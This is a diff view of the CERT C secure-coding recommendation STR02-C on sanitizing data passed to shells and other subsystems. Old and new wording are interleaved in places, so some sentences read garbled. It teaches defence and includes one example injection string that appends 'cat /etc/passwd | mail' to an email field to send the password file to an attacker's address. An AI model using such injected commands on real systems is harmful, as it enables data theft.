Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

String data passed to complex subsystems may contain special characters that can trigger commands or actions, resulting in a software vulnerability. As a result, it is necessary to sanitize all string data passed to complex subsystems so that the resulting string is innocuous in the context in which it will be interpreted.

These are some examples of complex subsystems:

  • command Command processor via a call to system() or similar function (also addressed in recommendation ENV03-C. Sanitize the environment when invoking external programs)
  • external External programs
  • relational Relational databases
  • third-party COTS components Third-party commercial off-the-shelf components (for example, an enterprise resource planning subsystem)

Noncompliant Code Example

Wiki MarkupData sanitization requires an understanding of the data being passed and the capabilities of the subsystem. John Viega and Matt Messier provide an example of an application that inputs an email address into to a buffer and then uses this string as an argument in a call to {{system()}} \ [[Viega 2003|AA. Bibliography#Viega 03]\]:

Code Block
bgColor#FFCCCC
langc

sprintf(buffer, "/bin/mail %s < /tmp/email", addr);
system(buffer);

The risk is, of course, is that the user enters the following string as an e-mail email address:

Code Block

bogus@addr.com; cat /etc/passwd  | mail some@badguy.net

For more info information on the system() call, see recommendations ENV03-C. Sanitize the environment when invoking external programs and ENV04ENV33-C. Do not call system() if you do not need a command processor.

Compliant Solution

It is necessary to ensure that all valid data is accepted, while potentially dangerous data is rejected or sanitized. This Doing so can be difficult when valid characters or sequences of characters also have special meaning to the subsystem and may involve validating the data against a grammar. In cases where there is no overlap, white listing whitelisting can be used to eliminate dangerous characters from the data.

The white listing whitelisting approach to data sanitization is to define a list of acceptable characters and remove any character that is not acceptable. The list of valid input values is typically a predictable, well-defined set of manageable size. This examplecompliant solution, based on the tcp_wrappers package written by Wietse Venema, shows the white listing whitelisting approach.:

Code Block
bgColor#ccccff
langc

static char ok_chars[] = "abcdefghijklmnopqrstuvwxyz"
                         "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
                         "1234567890_-.@";
char user_data[] = "Bad char 1:} Bad char 2:{";
char *cp = user_data; /* cursorCursor into string */
const char *end = user_data + strlen( user_data);
for (cp += strspn(cp, ok_chars); cp != end; cp += strspn(cp, ok_chars)) {
  *cp = '_';
}

The benefit of white listing whitelisting is that a programmer can be certain that a string contains only characters that are considered safe by the programmer. White listing Whitelisting is recommended over black listingblacklisting, which traps all unacceptable characters, because the programmer needs only needs to ensure that acceptable characters are identified. As a result, the programmer can be less concerned about which characters an attacker may try in an attempt to bypass security checks.

Noncompliant Code Example

...

This noncompliant code example is taken from \ [[VU#881872|AA. Bibliography#VU881872]\], a vulnerability in the Sun Solaris TELNET daemon ({{in.telnetd}}) that allows a remote attacker to log on to the system with elevated privileges.

The vulnerability in in.telnetd invokes the login program by calling execl(). This call passes unsanitized data from an untrusted source (the USER environment variable) as an argument to the login program.:

Code Block
bgColor#FFCCCC
langc

(void) execl(LOGIN_PROGRAM, "login",
  "-p",
  "-d", slavename,
  "-h", host,
  "-s", pam_svc_name,
  (AuthenticatingUser != NULL ? AuthenticatingUser :
  getenv("USER")),
  0);

An attacker, in this case, can gain unauthenticated access to a system by setting the USER environment variable to a string, which is interpreted as an additional command-line option by the login program. This is referred to as an This kind of attack is called argument injection attack.

Compliant Solution

The following This compliant solution inserts the "--" (double dash) argument before the call to getenv("USER") in the call to execl():

Code Block
bgColor#ccccff
langc

(void) execl(LOGIN_PROGRAM, "login",
  "-p",
  "-d", slavename,
  "-h", host,
  "-s", pam_svc_name,
  "--",
  (AuthenticatingUser != NULL ? AuthenticatingUser :
  getenv("USER")), 0);

Because the login program uses the POSIX getopt() function to parse command-line arguments, and because the "--" (double dash) option causes getopt() to stop interpreting options in the argument list, the USER variable cannot be used by an attacker to inject an additional command-line option. This is a valid means of sanitizing the untrusted user data in this context because the behavior of the interpretation of the resulting string is rendered innocuous.

The call to execl() is not susceptible to command injection because the shell command interpreter is not invoked. (See recommendation ENV04ENV33-C. Do not call system() if you do not need a command processor.)

Risk Assessment

Failure to sanitize data passed to a complex subsystem can lead to an injection attack, data integrity issues, and a loss of sensitive data.

Recommendation

Severity

Likelihood

Remediation Cost

Priority

Level

STR02-C

high

High

likely

Likely

medium

Medium

P18

L1

Automated Detection

Tool

Version

Checker

Description

Section

Fortify SCA

Section

V. 5.0

 

 

section

Astrée
Include Page
Astrée_V
Astrée_V

Supported by stubbing/taint analysis
CodeSonar
Include Page
CodeSonar_V
CodeSonar_V

IO.INJ.COMMAND
IO.INJ.FMT
IO.INJ.LDAP
IO.INJ.LIB
IO.INJ.SQL
IO.UT.LIB
IO.UT.PROC

Command injection
Format string injection
LDAP injection
Library injection
SQL injection
Untrusted Library Load
Untrusted Process Creation

Coverity6.5TAINTED_STRINGFully implemented
Klocwork
Include Page
c:
Klocwork_V
c:
Klocwork_V
Section

NNTS.TAINTED
SV.TAINTED.INJECTION

 


LDRA tool suite
Include Page
LDRA_V
LDRA_V
108 D, 109 DPartially implemented
Parasoft C/C++test
Include Page
Parasoft_V
Parasoft_V

CERT_C-STR02-a
CERT_C-STR02-b
CERT_C-STR02-c

Protect against command injection
Protect against file name injection
Protect against SQL injection

Polyspace Bug Finder

Include Page
Polyspace Bug Finder_V
Polyspace Bug Finder_V

CERT C: Rec. STR02-C


Checks for:

  • Execution of externally controlled command
  • Command executed from externally controlled path
  • Library loaded from externally controlled path

Rec. partially covered.

Related Vulnerabilities

Search for for vulnerabilities resulting from the violation of this rule on the CERT website.

Related Guidelines

...

...

...

...

...

...

...

...

Argument

...

injection or

...

modification

...

...

-78,

...

Failure to

...

sanitize data into an OS

...

command (aka

...

"OS command injection")

Bibliography


...

Image Added Image Added Image Added

ISO/IEC 9899:1999 Section 7.20.4.6, "The system function"

Bibliography

Wiki Markup
\[[Viega 2003|AA. Bibliography#Viega 03]\]

Image Removed      07. Characters and Strings (STR)      STR03-C. Do not inadvertently truncate a null-terminated byte string